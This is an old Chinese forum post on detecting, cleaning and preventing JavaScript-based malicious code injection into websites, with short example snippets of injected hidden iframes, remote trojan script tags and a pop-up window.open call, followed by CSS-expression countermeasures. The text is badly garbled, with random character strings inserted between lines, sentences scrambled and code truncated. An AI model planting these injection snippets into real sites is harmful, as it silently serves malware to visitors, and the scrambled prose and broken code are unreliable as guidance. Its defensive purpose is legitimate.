搜索
查看: 7721|回复: 0

网站被JS挂马解决方法

[复制链接]
发表于 2010-11-10 08:17:49 | 显示全部楼层 |阅读模式

网站被JS挂马解决方法

7 S9 p8 |1 i; t8 L c, p

为什么网页挂马还是屡见不鲜?这恐怕就要说一说 CSS 挂马了下面我详细讨论 虽然能够巧妙地利用 CSS 代码防范

9 V7 \6 ?% A8 c. G2 L1 F

IFRAME 和 JS 脚本挂马。

* D1 k4 `% n/ E5 Y6 B# ?1 ]

检测网页木马也是很重要的一项工作,目前流行的网站被黑,相应的 asp,

# G# n! \+ f4 g$ H L& V

网站优化设计当中。htm,j 等文件中,插入以 js 调用方式的本文主要介绍网页挂马的种类、如何检测网页是否被挂马、

- K3 ]( G2 m4 }7 \! z! B7 p! c" S

如何清除网页木马。如何防止网页被挂马。
1: 网页挂马的种类 .

9 s, a( w) f4 o4 k

相应的 asp, 目前流行的网站被黑。htm,j 等文件中,插入以 js 调用方式的

. C5 i1 d2 r$ |, _

卢松松以前做过的极品源码下载站 ’ 就遇到过 JS 挂马

& g c! u0 s& z

利用动网程序漏洞 ( 上传附件漏洞 ) 拥有网站管理员权限。删了论坛几千条数据 , 校园闹翻天论坛 ’ 就遇到用户提权

: [; v$ y. d" V+ W

。一千多位会员的 ID

* S/ a o+ a* F% a. G

2: 如何检测网页是否被挂马。

8 O+ B8 \6 J9 x# J

六款免费网页平安检测工具横向测评 ( 华军软件园 )
1 专业检测工具。>

4 r, P% t" E+ [) k# C- u

或者可以利用 Googl 搜索你网站、博客进行检测。如果有网站有木马则 googl 会在搜索列表的下方提示该网站有不安全

8 T; a8 ~: I3 v

因素。
2 googl 检测。>

, A8 }8 ^8 v7 e% D6 Q/ c

常用的杀毒软件也可以检测出来。
3 杀毒软件检测。>

/ \% c6 o7 A }) G# h+ l; b% u" y

打开你网站、博客,
4 人工检测。点击右键查看源文件,根据网页挂马的种类也可以查看是否中了木马。

8 s) [+ X/ V3 {- v `. N$ F

5 使用 McAfee SiteAdvisor 平安浏览网页的插件。

6 X7 t( t) T- _8 R, r$ O

$ n0 x7 b7 J6 D& `( Q) K

3: 如何清除网页木马。

; K: o$ r1 s- z+ h

就看那些文件是最近修改过的主要检查这些新文件, 一旦中了网页木马。从 FTP 中可以检查文件最近修改时间。然后进

. G7 }$ B1 Y& F/ Y3 v1 s

入源文件把相关的网页挂马种类的可疑代码删除。

/ P/ K( w( P3 L7 W6 L

建议删除所有文件 ( 数据库、图片、文档、顺序模板主题等文件夹可以保留 ) 如果你对你所使用的网站、博客程序不熟

' X, r$ [5 C* e

悉。>

! o% z6 F* g$ P

请从预防开始吧。
4: 如何防止网页被挂马。如果你网站还没有被挂马。>

1 G% V+ @0 {+ p$ f2 [

并只允许信任的人使用上传程序。
1 对网友开放上传附件功能的网站一定要进行身份认证。>

" R. g6 O7 o) p D! }) R

2 保证你所使用的顺序及时的更新。

0 b% Z% c( d- ~" w' I# w8 H

3 不要在前台网页上加注后台管理程序登陆页面的链接。

' f* i) y: O/ a. ?9 c) I) J9 K

但不要把备份数据库放在顺序默认的备份目录下。
4 要时常备份数据库等重要文件。>

$ k/ ]5 H( I: R2 F- k

不能过于简单。
5 管理员的用户名和密码要有一定复杂性。>

, q4 G7 K' v& S

二项功能组合,
6 IIS 中禁止写入和目录禁止执行的功能。可以有效的防止 ASP 木马。

) q d. M/ W e

设置执行权限选项中,
7 可以在服务器、虚拟主机控制面板。直接将有上传权限的目录,取消 ASP 运行权限。

0 y g3 t1 P" w

8 创建一个 robots.txt 上传到网站根目录。 Robot 能够有效的防范利用搜索引擎窃取信息的骇客

# \( N! _' d7 B! K1 ~) J8 v2 S8 {

0 y% u1 ~+ z! i" X$ R

IFRAME 挂马比较早, < IFRAME 挂马比较早。相应的预防措施也比较多,其中用 CSS 配合 JS 脚本进行预防是主流方式

: _* Q" A5 Z/ G# K$ Q' S4 z: D

。可这种预防方式也存在平安隐患, JS 脚本也可以被用来挂马,令人防不胜防。下面要介绍反击 JS 挂马的方法。

: s4 I5 |; P$ ?( @4 F& J

JS 挂马溯源

w7 x. w7 \- H% A/ |$ ^- S0 ^

有经验的平安工程师也开始研究相应的对策,当 IFRAME 逐渐被黑客滥用的时候。一段时间内各种阻止 IFRAME 挂马的方

; z( l- u1 y+ n3 b, q

法不时涌现,其中通用性较高的就是利用 CSS 配合 JS 脚本防御 IFRAME 挂马。

0 x' P4 |: }* `2 K6 J

很多网站都会让网页调用 JS 脚本来实现广告等诸多特效,而黑客也发现。如果将木马挂在 JS 脚本中,所有调用该 JS

5 D* n$ [4 D7 _; S/ u6 t

脚本的网页都等同于被挂上了木马,对于需要肉鸡群的黑客而言是一劳永逸,因此 JS 脚本挂马逐渐开始被黑客应用。

) Z+ c0 g$ x8 l& \; \, t) s* l8 Y

一种面向对象的脚本语言,小百科: JS 脚本是 JavaScript 脚本语言的简称。目前广泛用于动态网页的编程。需要提示

1 V: m' [0 f7 A8 K- L. }" L2 ~

大家的 JavaScript 和 Java 除了语法上有一些相似之处,以及都能够当作网页的编程语言以外,两者是完全不相干的而

* j8 h3 {1 {; v1 D" J4 @8 k

JavaScript 与 Jscript 也不同, Jscript 微软为了迎战 JavaScript 推出的脚本语言。

: b' m0 s( b9 ?% M

但是 JavaScript 一门具有丰富特性的语言,虽然 JavaScript 作为给非程序人员的脚本语言向大众推广。有着和其他编

p# X2 R! ]; i! ~4 u+ L8 P

程语言一样的复杂性。实际上,必需对 JS 有扎实的理解才干用它来编写比较复杂的顺序,作为一名平安工程师,掌握 JS

/ G* C/ f+ S2 H, _- C3 q3 `

脚本在工作中会有很大的协助。

7 c/ L; F& L+ i# i0 R- |

挂马原理一点通

% ]: e: U% w/ y. T/ d# k1 u% Q

可以说优点多得数不过来, JS 脚本挂马对于黑客而言。首先 JS 脚本在挂马时可以直接将 JS 代码写在网页中,也可以

. w# g5 d2 F$ v) c

通过注入网页,让网站远程调取异地 JS 脚本。此外, JS 挂马插入 Web 页面的方法有几十种,绝对够菜鸟们眼花缭乱,

' O& v g! c" I C& u

无从区分木马在何处。

l9 [: a6 p6 m

如同一个穿着鲜红颜色外衣的劫匪, IFRAME 挂马相对于安全工程师而言。招摇而扎眼,很容易被发现。但是利用 JS 挂

) t% v. N7 j( d+ p4 S. S

马就意味着这个劫匪拥有了一张可以随时变换的面孔,而且它还能够随时更换衣服。这样的劫匪在平安工程师搜查时,很

+ \2 G- u8 N. q# S" i0 k

容易蒙混过关,导致木马久杀不绝。

# m5 _7 C6 @1 O9 \

JS 挂马攻防实录

2 D) I- {+ g C& ]. S

一种是直接将 JavaScript 脚本代码写在网页中,攻现在最多见的 JS 挂马方法有两种。当访问者在浏览网页时,恶意的

* K) E5 t2 t2 B4 e8 h# B6 M

挂马脚本就会通过用户的浏览器悄悄地打开网马窗口,隐藏地运行。

& p# A1 T* [. w2 T4 w

这种方法使用的关键代码如下:

, b* s) a( E8 K: T4 f

"",  window.open "http://www.v404.cn/ 木马

* G* K9 @, }4 m1 q! L9 e

.html"."toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1" ;

9 b) A2 k n$ u, K

$ F6 o; u* v( Z3 k3 a% n

很容易被安全工程师发现,这种代码往往很长。而且没有经验的黑客也喜欢将 “ width 和 “ height= 参数设为 “ 0

. C# N8 u) g( Q% ?

但是设置为 0 后,可能会出现恶意代码不运行的情况。

9 O6 P5 M, J" d3 T, }0 q1 P

并上传到自己指定的网址。这时黑客只需要在受害者的网站中写入: 另外一种 JS 挂马方式是黑客先将挂马脚本代码 “

8 |' O$ J# o! h0 M

document.writ ' < Iframe src=" 网页木马地址 " ></ifram > ' 写入 Window 中的写字板另存为后缀为 .j 脚本文件

' n" U+ T! a/ K$ J

; S3 K3 N( I! x" I! J; d e

<script src="http://www.v404.cn/ 木马脚本 .js"></script>

( K4 O- S A h) \: B; M9 F

: N1 O" Z4 D$ {; B+ H2 Y0 e

或者

2 i- f% D' L- z

document.writ "<div style='display:none'>"

& K' T; e7 }: X, {5 n: W# a, \

document.writ "<ifram src=" 网页木马地址 " width="0" height="0" scrolling="no" frameborder="0"></iframe>"

0 u1 _ \% A7 @. X0 I' j

document.writ "</div>"
 

& h8 P0 g0 h5 |1 U0 @( j

( y, R' u, ~$ o; N s7 n- u1 U1 O

就成功地将木马挂到对方的网页中了

B5 @7 m* Z. F+ X

例如黑客有可能会将脚本写为: 小提示:黑客还可以根据情况随机变换拔出的 JS 挂马方法。

$ b7 |3 `0 s& o! K/ F. q

<div style="behaviour: url http://www.v404.cn/ 木马脚本 .j ;">

$ E4 Y# s9 E. J

或者:

& ?9 k/ ?" b$ n

<ifram src="vbscript:[ 挂马脚本 ]">

& K; M: l. _: V$ s1 \

, R6 Q3 N0 ]+ v i' t1 V) G6 ?, v; i* n8 p


等等 …

1 [, ^1 @! O. n9 M

不方便,防第一种 JS 挂马方式。用得非常少,而第二种 JS 挂马方式才是当前主流的所以我主要针对它进行防御。方法

% v( y3 Z2 [5 N% V

就是阻止 Src 请求的异地外域的 JS 脚本,代码如下:

! \1 b2 b6 y! |, ^: s# O2 o

iframe{mdy1:express this.src='about:blank', <  iframe{mdy1:express this.src='about:blank'.this.outerHTML=''

4 @7 C9 \: w0 |- S- V+ S; N5 O' s+ s

;}

& E/ b/ R- Q! c" t

script{mzm2:express this.src.toLowerCas .indexOf 'http' ==0 ?document.writ ' 木马被成功隔离 !' :'' ;}
 

5 h$ @4 l; |! k( j

! y: r1 V6 H; \/ U$ I X/ j

不过这种方法的缺点就是网站的访问者将不能看到被挂了 JS 木马的相关网页。

- x: p2 f' Y Z% ?

这段代码会让异地外域的 JS 文件在使用 document.writ 时,所以我为安全工程师提供了一段可以中止 JS 脚本运行的

6 @( |; ?, o$ G+ w. w

CSS 代码。被 document.clos 强制关闭。这个时侯 JS 挂马的内容往往还没有来得及写完,只有局部被强制输出了

1 w! m5 x0 V; w" |. Z

Writer 后面的内容再不会被写入访问者的电脑中,从而起到防范 JS 脚本挂马的作用。

+ F/ c% |, s. g! Y9 x4 g k! ]

<title> 让 JS 挂马中止的 CSS 代码 </title>

9 _# x" ?- v0 _! f% p7 i6 p0 w

<styl type="text/css" id="shudoo">

: A" T8 Q* R+ d1 s

/*<![CDATA[*/

% x% v( J" F7 J

this.outerHTML='' ;iframe{mdy1:express this.src='about:blank'.}

6 `: ], C6 n5 s, F' c* H

script{mzm2:express this.src.indexOf 'http' ==0 ?document.clos :'' ;}

/ o( [& g( H! [6 J3 h

/*]]>*/

" |7 D* M Y: z. L# L: t

</style>

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册帐号

本版积分规则

热议作品
精华帖子排行
精彩推荐

虾皮社区,成立十年了!

站长自己也搞不懂想做个什么,反正就是一直在努力的做!

Copyright © 2007-2019 xp6.org Powered by Discuz

QQ|Archiver|手机版|小黑屋|虾皮社区 鲁公网安备 37021102000261号 |网站地图
返回顶部 返回列表